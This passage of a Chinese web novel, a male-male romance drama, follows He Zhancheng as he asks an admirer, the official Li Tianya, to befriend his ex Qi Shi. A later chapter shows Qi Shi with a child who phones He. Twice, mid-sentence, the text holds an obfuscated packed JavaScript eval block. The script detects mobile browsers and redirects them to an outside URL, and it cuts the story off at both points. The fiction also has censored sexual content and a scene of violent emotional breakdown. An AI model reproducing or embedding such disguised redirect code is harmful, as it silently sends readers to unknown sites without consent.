准确地来说,是他单方面去吻,少年一脸郁郁寡欢,就像一只褪色枯萎的蝴蝶,一尊矗立在殿堂上无欲无求的雕像,永远冷冰冰地站在那里,神圣、漠然、极其遥远,如果他不朝少年走进,少年就不会主动对他吐露半个字。 他们在一起的第39天,他掏空自己全部积蓄,一笔又一笔的巨款通过各种手段分散汇出境外,托朋友在国外购置一颗价值不菲的粉蓝方钻,请全球报价最贵的工艺师傅,将这颗闪亮璀璨的方钻做成一颗举世独一无二、只完美适配少年无名指的男款戒指,然后,在一次寻常的约会晚餐时,隔着一簇簇跃动的银烛台火苗,他一脸平静地把这颗戒指向桌对面的少年推过去。 心中忐忑不安着,紧张得几乎要窒息,他双手掌心全是汗,嘴上仍是一副平淡的语气:“看看喜不喜欢,我觉得它很像你的眼睛。” 笑起来时的眼睛。 少年自己家就是经营珠宝生意的,因此很懂行,他只是瞥了一眼,就知道这颗钻戒是从哪来的。 少年愣了一下,抬头望他,那张脸上终于露出一点点诧异的表情。 值了。 李天涯舒心地笑了。 那晚,他并没有开车将少年送回家,而是把人带到了自己独自居住的公寓。 少年坐在他的副驾,掌心攥住戒指盒,低头沉默了一路,临进家门口时,才像个犯错误的小孩,伸手拽了下他衣袖,说:“天涯哥,对不起,我没想到你会这么认真。” “我其实……我其实这个月末就要回美国上学了。” 少年知道他出不了国。 他微怔,内心一阵遗憾失落,可他还是不想放手。 “没关系,”他宽容一笑,抬手揉了揉少年毛绒绒的头发,好脾气道:“我给你打电话。” “有时差也没关系,我会等你。” “你早晚都会回来的,不是么?” “湛程,我愿意等你,等多久都无所谓,你呢?你愿意让我等吗?” 少年也有些动容,一双琥珀色的清澈眼睛满含愧疚地望着他,嘴唇蠕动着,欲言又止,指尖绕着那只戒指盒,将那颗闪亮如星的钻戒抠出来、又放回去,再抠出来,然后又放回去。 少年似乎也不知该说什么好。 他便误以为少年也爱上他了。 衬衫、T恤、领带、皮鞋、腰带、球鞋……衣服一件件掉落在地,他们拥吻着滚上床,漆黑卧室里,皎洁月光透过纱窗,洒落在少年一丝*不挂的洁白裸|体上,李天涯看得两眼发红血脉偾张,他承认自己当时有点粗|暴野蛮了,可在自己心爱的人面前,在那狼藉一片的床上,他怎么能再做一个正人君子? 少年在他将要进入的那一刻突然哭出声。 泪珠如豆,从少年湿漉的眼尾不停滚落,李天涯吓了一跳,疼得心都要碎了,他连忙道歉哄人,然后俯身抬手要帮少年拭泪,身下那个看似孱弱苍白的少年却突然变成另一副陌生模样,沉眉一凛,猛地大力攥住了他的手腕,起身一把将他推开了。 “天涯哥,对不起,”少年匆匆穿着衣服准备走人,“我做不来在下面的。” “啊……”他又开始慌乱,忍不住问,“就算是我也不行吗?” “对不起。”少年头也没回,像一阵风一样跑走了。 他送给少年的戒指,至今都原封不动摆在那天卧室的床头。 当然,他们在那之后没再上床。 也没再接吻。 更没再拥抱、牵手。 在李天涯以为俩人就这么完了的时候,何湛程终于开始对他主动了。 每逢他休假,何湛程一定会打电话约他见面,他们像从前一样,吃饭、见面,席间聊点时政新闻,饭后再找个地方喝茶、谈事。 何湛程投资了几个研发人工智能科技的种子项目,初创团队遍布京沪,虽然雇佣了专业顾问团队坐镇后方提供指导,但何湛程年纪虽小,防备心却极重,他信不过花钱买来的助手,所以总是缠着他一口一个“天涯哥”叫着,虚心向他询问专业意见,以及,何湛程的手下人在项目进展上遇到的一些阻挠,不时也需要他打个招呼去干预一下。 正如当初他走向少年那一刻所期待的那样,何湛程在精心维护着他们的关系—— 作为一个初涉名利场的商人,何湛程在和他这个利用价值取之不尽用之不竭的政客维护关系。 何必呢? 有时候李天涯也会疑惑,何湛程的老家在沪上,父祖都是土生土长的沪上人,身后偌大家族在整个江南根基都很稳固,这个小孩儿放着现成关系不用,单枪匹马地跑来京城做什么? 何湛程和他上一任老领导章部长的儿子章政礼年纪相仿,那天在校友会的晚宴,他见何湛程和政礼、颐儒那帮小孩儿聊得很热闹,于是忍不住猜测,何湛程可能是爱上了那群人中的某一个。 他憋了好久,直到今天—— 何湛程明日就要飞往纽约,今晚约他出来,不带任何利益目的,是纯粹地为了叙旧和告别。 于是李天涯仗着二人尚存的几分暧昧不清,直言向对面人询问:“你原来喜欢政礼吗?” 何湛程正埋头扒着牛排神游天外,一听这话,惊然回神,说:“谁会喜欢章政礼那种没脸没皮没分寸的丑八怪啊?” 李天涯失笑:“好吧。” 他知道这个被娇生惯养着长大的小少爷,一讨厌谁,就喜欢叫人家丑八怪。 何湛程扯纸巾擦了擦嘴,抬眼问:“你是不是想知道我上一个前任是谁?” 李天涯笑:“可以问吗?” 何湛程也笑:“当然,他是擎荣集团的总裁,戚时。你们或许打过照面,但平时没什么交集。” 李天涯“哦”一声,略一回忆,点点头,说:“他很帅。” “他很帅,看起来也很有活力,不像我这么古板无趣。” 何湛程自动忽略掉他的话,一双眼睛盯着他:“天涯哥,你可以找个机会去认识他一下吗?” 李天涯一愣:“什么?” 何湛程满脸愧意地低下头:“这是我最后一个请求。” “你只需要挑个合适的公开场合和他握个手,认识他一下就够了。” 李天涯心中不免有点失望:“你原来还是有事才找我。” 何湛程咽咽吐沫,小心翼翼道:“那……可以吗?” 李天涯本身就是个很低调的人,更无比忌讳旁人拿着他的身份到处招摇,从二人初识,李天涯就摆明了态度,无论何事找他,只能是何湛程自己的事才行。 李天涯板起脸,神色严肃起来,反问他:“我是不是太惯着你了?” 何湛程头埋得更低:“算我求你。” 李天涯愠怒:“求我?是他要找后台撑腰,轮得到你来求我?!” 何湛程见人发脾气,忍不住一抬头,冲人嘴硬起来:“你爱管不管,反正我把这事儿给你说了!” 李天涯眸光一凛,官架子端上来,一脸威风八面,声如洪钟,警告道:“何湛程,我们有言在先,你是你,别人是别人,你不要太放肆了!” 这是真的生气了。 何湛程立刻不敢吭声了。 半晌,他瞟见人似乎要消气了,立刻逮住机会,撒娇似的冲人哼一声:“就放肆!” 李天涯拿他简直没办法。 抬手反复揉着眉心,无奈道:“那你给我一个理由。” 何湛程端杯,仰头将手边红酒一饮而尽,扭过脸看向窗外霓虹夜景,说:“这是我欠他的。” 一开始,他骗戚时会给对方李铮鸣的手机号,戚时才会被他阴魂不散地缠上,他们两个在一起,也是他不择手段主动勾引的戚时,最后分手,也是他何湛程厌倦了提出来的。 所以,无论二人爱恋中途对错,他何老三都欠那人一次。 但,就拿他们何家来说,老大、老二和他,他们亲兄弟之间都要设立重重的规矩与提防,何厉风和何冲霆也并不像表象下那么兄友弟恭,还有擎荣集团内部,一个代表着董事会的戚铭,一个统管协调手下数万员工的戚时,哪怕这两个兄弟再情深,他们私下也因为各种立场不和闹过无数次别扭,否则,戚铭本人就和李铮鸣有交情,戚时私下找陈北劲再牵线搭桥又是何必? 说白了,戚时就是在和戚铭较劲。 何湛程接触过几次戚铭,察觉出那位现在已经转幕后资本的影帝虽然外表儒雅,骨子里难藏匪气与骄狂,或许这是所有白手起家富一代的通病:因为自己早些年淋了太多风雨,受过太多非常人能忍受的苦楚,所以很自然地扮演起说一不二的当家人的角色,也不太把别人寻常的人生坎坷放在眼里。 戚铭娇惯戚时是一回事,看不上戚时是另一回事。 从很早很早以前,何湛程就看透了,戚时将终其一生被困在哥哥的阴影之下。 所以,就算是戚时付出一些代价,通过陈北劲接触到李铮鸣,再经过一番弯弯绕绕,通过李铮鸣再接触上铁面无情的李天涯,就凭二人相差十万八千里的身份,戚时和李天涯的关系也定然不会牢固。 所以,他何湛程选择亲自坐在李天涯的面前,端杯,敬酒,陪着笑脸,姿态一低再低,希望李天涯可以和他的二哥交个朋友。 是的,他的二哥。 在和李天涯亲热的那个夜里,月光洒落窗前,照着伏在他身上的男人英俊而陌生的脸,他错愕片刻,原本死掉的心又突然活了过来。 仿佛嬉皮笑脸地和心爱的人在家里玩儿情趣大战还是在昨天。 也仿佛,那个人说宁愿从没认识过他也是在昨天。 他不停地落泪,不停的回忆,浑身痉挛着、抽噎着,大脑缺氧呼吸困难,泪水沾湿别人家的枕头,他哭得浑身发麻,心心念念,满脑子全是另一个男人含笑注视着他的样子。 他刚缓过劲儿,立刻起身穿衣服就走,不顾一切地临阵逃脱,深夜跑到空荡无人的马路上,没能打到车,于是徒步走了二十多公里,在凌晨五点钟跑到擎荣大厦上了锁的前门口,然后抬手抹了把汗,筋疲力尽地一屁股坐在门口角落里,仰头望一眼头顶灰蒙蒙的天。 他心怀期待地等白天快点降临,盼望着那个西装革履的男人再次出现,他要毫不犹豫地扑上去将人抱住,然后笑眯眯地问男人:“二哥,好久不见啊!哦对了,有个事儿我想找你商量一下。” “我能重新再追你吗?” 他没能等到那个人出现就昏过去了。 醒来是在燕京市医院的高级病房里。 秦颐儒、朱子辰、王二怂和俩核桃他们带了一堆礼品鲜花瓜果来探望他,他那天才知道王二怂叫王迦乐,俩核桃叫乔羽。 他们告诉他,是戚时在路边捡到了他,大早上打电话炮轰乔羽,操着一口浓烈烟嗓,说已经叫了救护车来,让乔羽立刻吩咐医院那边给安排个病房,要最好的医生来治! “那……”他满含期待地问:“他呢?” 他希望他们说,戚时给他买早餐去了,怕他醒来孤单,才叫来这群朋友陪他玩一会儿。 “他看着你没事,守了一会儿就走了。”秦颐儒安慰似的拍拍他肩,没再多说什么。 “哦。”他低头,手指绞着淡淡消毒液味的白色被罩,心中一阵失落。 多嘴的是王迦乐。 王迦乐有点恨铁不成钢,抬起那只瘆人的花臂,隔空冲他上下指指点点:“三少,不是我说你,你就算是要演孟姜女哭倒长城,也得等你身上那堆玩意儿好了再来吧?!” 何湛程有点懵。 他撩起衣服一看,自己满身青紫吻痕,锁骨、胸口、腰腹……连大腿根都遍布着凌乱肿胀的指痕和牙印。 他呆坐在病床,精神错乱着,两行泪从眼角止不住地流。 最终给他一击的是乔羽。 乔羽啧一声,拍了拍他的膝盖:“哥们儿,节哀吧,病号服是他亲手帮你换的。” “哦,他亲手帮我换的啊……”他突然笑了声。 笑完又哭,哭哭笑笑,自己恨得也癫狂起来。 一颗心绞痛着,他赤红着双眼,死死地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703214|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪着虚空,仿佛亲眼看到早上那副场景:戚时捧着失而复得的宝贝,一路紧张又焦急地抱着他冲进来,不顾形象地在他耳边喊他的名字,嘴里碎碎念着,千求万求,盼望着他的程儿千万不要出事,可等到进去更衣室,戚时一脱掉他衣服,看着他遍体都是和别人做|爱留下的痕迹,那人顿时愣住原地,然后脸上又露出那副绝望窒息、还要逞强装潇洒不在乎的样子。 是因为在床上和别人做过头了,才会累得晕倒的吧? 是因为时隔一个多月了还没消褪的报复欲,才会迫不及待地跑到他公司楼下想要炫耀吧? 戚时心里大概是这样想的吧。 “为什么……”他笑得热泪盈眶,笑得额角青筋爆起,不管不顾手上插着的输液管,低头攥着拳头,一遍又一遍地猛力捶着病床,歇斯底里地咆哮起来:“为什么!为什么!为什么!为什么为什么为什么!!为什么每一件事!!每一件事!都他妈的不能顺我的心!为什么!!!” 秦颐儒乔羽他们让他给吓坏了,不敢劝更不敢拦,眼睁睁看着他跑针飙血,直到他血液骤然逆流冲上,将整条一米五长的输液管染得暗红,他们才惊觉要出事,一个接着一个疯狂按铃,大喊着跑去楼道叫医生来! 他又一次昏死过去。 他想,如果就这样死掉才好了呢。 他死了,他就不会难过,也就不知道这世上还有另一个被他伤得遍体鳞伤的人也在难过。 两天后,他坚持要出院。 没敢给戚时打电话,换了身低调黑色的运动装,偷偷跑去戚时的健身房跟踪人家。 他不再想着跑到戚时面前求和好了。 他也不打算解释什么。 他们这种早就分手的关系,也没什么好解释的。 他只是想见戚时,很想很想。 只要他能够远远地看那人一眼就知足了。 他连续跟了戚时三天。 戚时早上运动时间在上班前的六点到八点,晚上在员工吃完饭期间,七点到八点。 戚时不吃晚饭,运动完后只吃营养剂和蛋白粉,然后冲个澡换套衣服,继续回楼上办公。 第四天晚上,戚时没遵守时间,提前拎着水瓶、挎着个斜背包就来了。 何湛程当时正埋头趴在休息区的咖啡桌上打瞌睡,或许是心有灵犀,就在戚时与他擦肩而过的一瞬间,他突然醒来,精神抖擞一抬头,正好对上戚时回头瞥过来的眼神。 何湛程紧张地咽咽吐沫,在男人平静目光的注视下,有点尴尬地抬起手指,一点点压下头顶黑色的鸭舌帽檐,然后有些不好意思地清咳一声,又继续动作缓慢地,从裤兜里掏出只黑色口罩,一点点撕开包装,两根手指勾起口罩左右两边,遮住了自己的脸。 最后,他全副武装好,仰起脸和戚时对视一眼,眼神不禁得意起来,似乎在冲人炫耀:怎么样?这下你就认不出我了吧? 戚时没好气一笑,转身朝他走过来,问他:“吃饭了吗?” 他怕戚时赶他走,连忙小鸡啄米点点头:“吃了,吃了!” 然后他肚子就不争气地叫了起来。 何湛程:“……” 戚时将水瓶和背包放在桌子上,下巴往门外一抬,说:“走,我领你去吃点儿。” 他不敢相信,眨着眼问:“真的假的?” 戚时伸手过来,摘下他的帽子,手指颇为熟练地替他打理了几下刚才睡觉蹭乱的刘海,然后将帽子给他重新扣回去,又反手敲了敲他的脑壳:“总不能让你饿肚子吧,小侦探。” “我才不是什么小侦探,我是追星的狗仔!” 他笑嘻嘻的就缠上去了,双手很自然地挽上对方的右臂,下巴垫在戚时的肩膀上,趴在人家的耳边喊:“谢谢二哥!二哥最好了!” 戚时没应。 大厦楼下,曾经二人热恋时经常光顾的茶餐厅,戚时点了两道菜,一碗饭,一盅滋补身体的淡汤。 何湛程笑得一脸灿烂,他拿着勺子舀了块红烧肉,又往勺子里夹了点米饭,俯身弯腰,托着手喂给对面,笑道:“二哥,来,你也吃点儿。” 戚时别过脸,摆手摇头,然后揣着手机站起身,对他交代了句:“你先吃,我去趟卫生间,顺便把账结了。” 他“哦”了声,老实乖巧地坐回去,埋头认真干饭,冲人离去的背影说了句:“二哥,我还想喝果汁,一会儿你给我拿来!” 戚时没应。 两分钟后,服务员端着杯鲜榨果汁过来:“客人您好,这是您的果汁。” 他愕然抬头,油腻的嘴角还沾着米饭粒:“我二哥呢?” 她愣了下,很快反应过来,笑道:“是和您一起来的那位先生吧?他说他临时有事先走了,还在我们这里放了张卡,让您想吃什么随便点。” 他恍恍惚惚地“哦”了一声。 良久,他笑了起来,歪过头,一脸认真地跟她解释:“不是的,他不是临时有事,他是不要我了。” 第五天,他厚着脸皮继续去健身房蹲守,人还没进门就被保安拦住了。 保安态度强硬,说,闲杂人等不能入内。 “谁是闲杂人等?本少爷办了卡的!” 他心里不痛快,正要发火,健身房经理听到动静,立刻匆匆忙忙跑出来,对他说抱歉,要把钱双倍退还给他。 “不好意思了,上面昨天连夜出了新规定,以后我们擎荣集团的健身房只提供给自己的内部员工用,暂时不对外开放了。” “行!行!”他愤愤背着书包离开,刚走两步,猛地又回头去找经理,说:“手机拿来,我要给你们总裁打电话!” 经理讪笑,指了下他裤兜:“您这不有手机吗……” “就是因为他不会接我的电话,我才要用你的电话打!就是因为他恨我、讨厌我、不在乎我,才会继续装得跟个没事儿人一样,假惺惺地敷衍我、骗我!明白吗?明白吗?你们这些什么都不知道的蠢货能明白吗?!!如果不明白,那我现在说得够明白了吗!!!” 经理被他吼得整个人如遭暴风雨一般凌乱起来。 他已经快要控制不住自己的脾气了,强压着怒意:“快点儿!!” 经理连忙将手机给他。 何湛程发完火,满头大汗,他捂着胸口大喘气,好半晌,他脸上浮起的红|潮褪散,终于平缓下情绪。 接过手机,抱着万分之一的期待,手指飞快地按下那一串自己熟悉的电话号码。 “您好,您拨打的电话已停机……” “您好,您拨打的电话已停机……” “您好,您拨打的电话已停——” “啪”的一声! 令人无端狂躁起来的手机提示音彻底熄音,最新款的机型,就这么被人摔在光滑地板上,屏幕一刹从白变黑,碎得四分五裂。 罪魁祸首头也不回地冷沉着脸离开。 “拿着你这没用的破手机去找你们总裁,报上我何老三的名号,让他给你报销十个新的,就说我说的!” …… …… 法式餐厅,酒杯喝空,菜肴光盘,今晚的约会到此结束。 “我找我表姐问过了,他把原来的手机号注销了,”何湛程抓起桌边车钥匙,绕过桌旁,弯腰躬身去搀了下李天涯,随口道:“眼下正是缺朋友的时候,你说呢?” 李天涯笑了声,和他并肩推门离开,说:“我说什么啊?就凭你们俩这么深的恩怨纠葛,我还怕他讨厌我呢!” 何湛程“哎呀”一声,笑道:“怎么会?他没那么在乎我的!而且我跟他都是几百年前的事了,只要你先抛出橄榄枝,他巴结你都还来不及呢,哪里还敢讨厌你?” 二人走到路边分别,一人一辆车。 李天涯站在他面前,语气仍有不甘:“你知道吗?今天一整晚,你只有提起他来的时候才会笑——不,是我们认识到现在,你第一次这么真心实意地笑出来。” “讲到他喜欢你,你会笑,讲到他欺负你,你也笑,我不明白,你们两个都分手了,你还在一心一意地为着他,他到底有什么好?” “我不知道,可能是因为他长得帅吧,哈哈!”何湛程抬手随意地撩了两下刘海,然后仰起脸,一脸宁静安详地望向星光闪烁的夜空,轻轻叹息一声:“他没什么特别的地方,我就是单纯地放心不下他。” “他不算是个好人,可是他对我很好。” “好到……分手这么久,我会经常忘记我当初为什么要和他分手。” “好吧,”李天涯听不下去了,无奈一挥手,“我会按照你的意思办,等你去了国外,自己也要多保重。” 何湛程上前去替他打开车门,颔首笑:“天涯哥,你也多保重,还有,记得想我。” 李天涯冷哼一声,“砰”一下关上车门。 须臾,车窗缓缓降下,李天涯瞥了眼窗外人。 他还是舍不得。 “明天几点的飞机?我开车送你去机场。” 何湛程摇头:“我明天想先回一趟家,看看我们家老爷子,然后从沪上飞走。” 李天涯点了点头:“代我向何先生问好。” 何湛程应道:“一定。” “还有——” 李天涯凝神望着他愈发苍白的脸,轻轻皱了下眉,嘱咐道:“你身子不好,少动气。” 何湛程不甚在意一笑:“知道。” “湛程。”他突然叫他名字。 何湛程一挑眉:“嗯?” “那枚戒指存在于这个世上的唯一意义,就是被重新戴回到它主人的手上。”李天涯一动不动地注视着他,认真道:“这辈子只要你想了,随时都可以来找我拿。” “……”千言万语化作一声叹息,何湛程点点头:“好。” 68.第68章 霜霜坐在总裁办的沙发上,茶几上摆着果冻、曲奇、薯片和酸奶,iPad支架是紫色库洛米,屏幕里正放着《奇幻魔法Melody》,她怀里抱着只可达鸭,正吃着零食吭吭哧哧笑着,令一向静谧庄肃的办公室无比嘈杂。 办公桌电脑前,戚时闭眼揉着太阳穴。 他被闹腾的这小妮子吵得头疼。 裴玉他们那部戏这月初拍完了,暑假即将结束,眨眼间就要到九月份,刘导最近忙得团团转,刚放下导演的身份,又马上担起做父亲的责任,戚时跟刘导关系不错,今天刘导请霜霜新学校的一帮校领导和新班主任吃饭去了,这小妮子不愿跟后妈待一个家里,刘导就把她送这儿来了。 一集动画片演完,霜霜哼着片尾曲的调调,拆了盒薯片,绕过办公桌,递到戚时面前:“叔叔,工作辛苦了,先给你吃。” 戚时没好气一笑,瞥她:“半年前我还是‘哥哥’,怎么现在又成‘叔叔’了?” 霜霜笑起来,伸手戳了戳他脸:“你胡子没刮干净,看起来好老。” 戚时怔了下,掏出镜子,偏着脸左右照了照。 “哦,”他神情有些恍惚,手指摸了摸下巴上的胡茬,轻声笑,“还真是。” 多少天了? 大概是程儿晕倒在他公司门口、他火急火燎地送人去医院的那一天起吧。 他都忘记每天早上洗漱时还有一个剃须的流程了。 霜霜看出他笑得很难过,将薯片放在他桌前,讨好道:“叔叔,薯片都给你吃吧,你尝尝,这是原味的,可好吃了!” 戚时不甚在意地抬起手掌薅两把她脑袋瓜,将她头发揉乱,打发道:“乖,一边儿玩去,哥哥不吃这种垃圾食品。” 然后摆好镜子,从抽屉拿出自动剃须刀,一脸认真地刮胡子。 霜霜好奇地瞅着,看他静电离子的剃须刀在脸上发出细微嗡嗡声,问:“叔叔,你这个怎么不冒白泡泡啊?我爸刮胡子的时候,满脸都是白泡泡。” 戚时敷衍道:“哥哥在家冒白泡泡,上班的时候就不冒了。” 霜霜似懂非懂:“哦,那你怎么不在家弄啊?” 戚时随口道:“忘了。” 霜霜“啊”一声:“那你老婆不提醒你吗?” 戚时动作一僵,停顿几秒,眼前突然闪过无数帧某个人在病房更衣室里遍布青紫吻痕的身体,眼眶刹那间泛红。 他哽咽一声,鼻头发酸,笑道:“我没老婆。” “哦哦,我还以为你结婚了呢。” “没有结婚。” 他不懂自己为什么要和一个十岁的小破孩说这些:“霜霜,像我这种人,没人会想要跟我过一辈子的。” 霜霜歪着头打量他,见戚时变魔法似的,短短几分钟内,从一个满脸胡茬的沧桑大叔变成一个英俊靓丽的大帅哥,她忍不住笑眯眯欣赏道:“诶,你脸还挺嫩!” 戚时臭屁起来,帅气一撩头发,说:“那必须!脸在,江山在!” “诶!”霜霜突然兴奋道:“我知道这个!小程子也经常做这个动作!” 戚时将剃须刀放回抽屉,冲她挑了下眉:“小橙子?你同学?” 霜霜头摇得像拨浪鼓:“不是。” 一本正经讲述着:“我爸他们在景区拍戏的时候,组里有个叫小程子的,人长得又高又帅,身上也可香了!他每天上班不干活儿,就开着三蹦子到处瞎溜达,一到饭点儿就跟着裴哥他们下山吃饭去,有时候他也领着我玩儿,我当公主,他当太监,可有意思了!” “哦,”戚时心中酸涩,“是他啊。” 他不禁觉得好笑:“他还能跟你玩到一块儿去啊?” 霜霜下巴骄傲一抬:“当然啦!我俩是好闺蜜呢!” 戚时心中微微动着,忍不住问:“那你们在一起的时候都玩儿什么啊?” 霜霜“呃”了声,抠抠脑袋,仔细想了想。 然后说:“忘了,反正他特别帅特别帅!” 戚时有点失望地笑了声,伸手又揉她头发,耐心给她把一头咋呼凌乱的发丝给捋顺,说:“我知道他特别帅。” “哦!”霜霜突然一拍脑门:“我想起来了!” 戚时吓一跳,说:“想起来什么?” 霜霜语速飞快:“他让我把他手机号背过,还说,如果以后有人再欺负我,就让我打他电话,他帮我揍他们!” 戚时不屑:“有我和你爸在这儿,哪儿用得着他出马?” 霜霜哼一声:“不要!我就喜欢让他出马!” 戚时诧异:“为啥?” 霜霜两手叉腰,理直气壮道:“因为他帅!你不知道,他骑三蹦子飙车上山冈的时候,整个人连人带车都冲到半空,哇——那场面简直了!就像超级英雄一样!超酷的好吧!!” 戚时:“……” 骑个三蹦子有什么了不起的,这小妮子多大了还搞英雄崇拜那一套? 看这一脸粉红小气泡突突冒的,成何体统?! 不过么,戚时挠了挠下巴,仔细回忆着,他只见过程儿开跑车的样子,那人戴一副遮光墨镜,单手搭在方向盘上,另一只骨节分明的手悠闲地盘着珠串。他的程儿很白,阳光照射下的皮肤几乎呈半透明色,脸庞绒毛柔软,光滑细嫩的肌肤里渗透着几缕青红色血丝,一张帅脸既是无可挑剔的精致白皙,又不失活人气。 他的程儿坐在车里,一脸淡淡然目视前方,慵懒随性,偶尔会笑一声,分明无心撩人,仍迷得他心口小鹿乱撞。 原来程儿开三蹦子也那么帅吗? 不,戚时想,现在就算何湛程开四蹦子、五蹦子、八蹦子都跟他戚老二没关系。 现在的何湛程,已经不是他的程儿了。 身旁霜霜下定决心似的,握紧两拳,凛然道:“就这样!等下学期开家长会的时候,我要打电话给小程子,让他穿帅点儿来我们班儿!”她美滋滋地绽出笑靥:“嘿嘿!光想想都觉得有面儿!” “他不会来的。”戚时不客气地给她泼着冷水。 “为什么?” “因为等你开学了,他也开学了。” 不知怎的,他竟有点儿嫉妒她。 戚时幸灾乐祸地笑着,仰身抱臂靠在椅子上,一张俊脸邪气横生,故意逗她:“嗯,他在美国读书,回来一趟要十多个小时呢,这一来一往,两天就过去了,再算上要倒时差,光想想就觉得累,他才不会专门为了给你开什么家长会回来呢!” “你骗人!”霜霜有点想哭,仍强撑着气势,不甘示弱冲他喊:“小程子说了,不管他在哪儿,只要我给他打电话,他就一定会出现!” 戚时轻嗤一声,挥挥手:“少来了,他骗你呢!” “没有!”霜霜带着哭腔,急得直在原地跺脚,大声冲他喊:“没有!没有!他没有骗我!” “他说了,我是尊贵的公主殿下!在这个世上,没人能忤逆公主!” “他说公主就算没有妈妈也没关系,因为每一个公主都有骑士,他就是我的骑士!” “他还不让我欺负别人,说真正的公主都会派骑士出手,我知道他是让我当好孩子的意思,可是谁稀罕当好孩子啊!是因为他这样说了,我才听话的!” “是因为他让我乖,我才乖的!” “他说了会来看我,他就一定会来的!一定会!” 眼前小女孩哭得泣不成声,不停抬手抹眼泪,一张粉团脸蛋因为嘶吼过度,连着脖子也涨得通红,戚时尴尬清咳一声,忙起身去哄她:“霜霜,你别哭啊,叔叔逗你玩儿呢!” 霜霜本来要好了,他一哄,她反而又“哇”地一声又哭出来。 “我知道!我知道嘛!”她委屈大哭:“我知道他在骗我!可是你为什么要把实话说出来啊!” “你为什么要多嘴?!为什么要拆穿?!” “我只是说说而已啊!” “我从一开始就知道他的身份啊,我爸早就告诉过我了,所以我从来没敢在私下给他打过电话,我早就都知道啊!!!” 戚时一脸愧疚,他也搞不懂自己究竟是怎么了,突然跟一个小女孩较什么劲儿? 戚时半蹲下身,抬手想替她擦眼泪,又被她嫌弃地避开。 他叹了口气,不禁有点着急。 这待会儿刘导要是回来了,发现自个儿捧在心尖尖上的宝贝闺女被他戚老二欺负成这样,那不得召集一帮人在背地里蛐蛐死他啊?! “霜霜啊,你喜欢包吗?”戚时试探道:“叔叔下楼去给你买个包,怎么样?你喜欢香奈儿还是爱马仕?” 霜霜放下手,肿着俩核桃大眼,愤愤瞪他:“我!不!要!” 戚时啧一声。 想起什么,他起身去抽屉里摸出张黑卡,递到她面前,语气引诱:“那这个呢?这个是钱——” 他拉长音道:“好多好多钱!花不完的钱!” 霜霜一听这话,猛地脾气上来,挥手一巴掌打掉他的卡。 “我!不!要!” “你和我爸他们那些人一样!”她瞪他:“我告诉你,我其实什么都知道!你别想着把我当三岁小孩儿糊弄!” 玲珑小巧的烫金黑卡被扇到垃圾桶边,戚时轻哼一声,弯腰伸手重新捡起来。 “爱要不要,你不要,老子要。” 霜霜盯着他看了几秒,突然拔腿扭头就跑去沙发,抓过她的书包就一通埋头乱翻。 戚时吓一跳,以为这小妮子要打电话找她爸告状,一个箭步冲刺过去,歪身摔倒在沙发上,双手死死摁住她装满了小玩偶小手办镭射卡的书包,认真恳求地看着她,商量道:“霜霜啊,只要你别告诉你爸,等你们学校办家长会的时候,我去帮你开,怎么样?” 霜霜一愣:“啊?” 戚时清清嗓,讨好地贴脸凑上去,贴完左脸,又贴右脸,说:“你看看,你再仔细看看,其实我也挺帅的。” 霜霜“哦”了声。 然后不客气甩他一句“不要!”,一把夺回自己书包,低头继续翻腾。 戚时:“……” 霜霜刨了半天,终于从书包底下翻出她的iPhone 14。 戚时紧张地咽咽吐沫。 他的一世英名!!! 霜霜低着头,手指按键拨打电话,一边按数字,一边眼泪又缓缓流了出来。 戚时终于有点发自内心的心疼,轻声道: “霜霜,对不起啊……” 霜霜没理他。 第一遍电话没打通,她陷入沉默,然后不死心,低头继续打,第二遍、第三遍、第四遍……她等的时间一次比一次短,第六遍,她脸上隐隐有怒意,戚时注意到,她按下的是一串自己无比熟悉的电话号码。 第七遍,电话接通。 手机那头响起一道清冽平缓的男声:“喂。” 戚时心脏骤然一紧。 她瞬间化怒为喜,眼泪如溃堤洪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713869|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,一下子又哭出来,委屈道:“小程子!” “霜霜?” 沪上某私立医院,何湛程小心翼翼地关好重症监护室的房门,转身踱步到病房外面的走廊里。 他西装笔挺,孑然立在窗前,望着庭院里一片葱茏树影,神情有些茫然和怅惘。 可电话对面是个小女孩,于是他语气仍装得好像能摆平一切,笑道:“怎么了?谁欺负我们家公主了?” 电话那头呜呜地哭起来,背景音掺杂着男人几声无奈的叹息。 很熟悉的叹息声。 何湛程怔了怔。 那个人—— 那个既谋利又图人的混蛋,嘴上说着爱他的大骗子,背地里却和他一心谋权登位的大哥签订秘密协议,明明早就知道他父亲病重命不久矣,他何湛程随时会和家人经历生离死别,那畜生还假装没事人一样,天天缠着他谈情说爱,绝口不提半句老爷子的事,仿佛他们两个之间,就只是他们两个。 当然了,这是他何湛程的父亲,又不是戚老二的父亲,戚时当然不在乎了。 三分想念七分埋怨,爱,仍是浓烈到骨子里的、难以割舍的爱;恨,也是一次又一次积攒下的心寒与失望、无法泯灭的恨。 爱意与恨意不断在心头交织盘旋,何湛程有些疲惫地闭了闭眼。 对外宣扬被他这个惹祸精气晕,背地里藏身在医院半年不见踪影、只知道留遗嘱、分财产、一心守住他何家江山的亲爸;明面上只会哭哭啼啼,看似乖顺听话在欧洲度假,实则从未停止联络董事会心腹,不断对何老大施压、逼迫、一心想扶持他何湛程上位,企图拿捏幼子搞垂帘听政的亲妈;忍辱负重的大哥、置身事外的二哥……还有,远在京城隔岸观火的戚时。 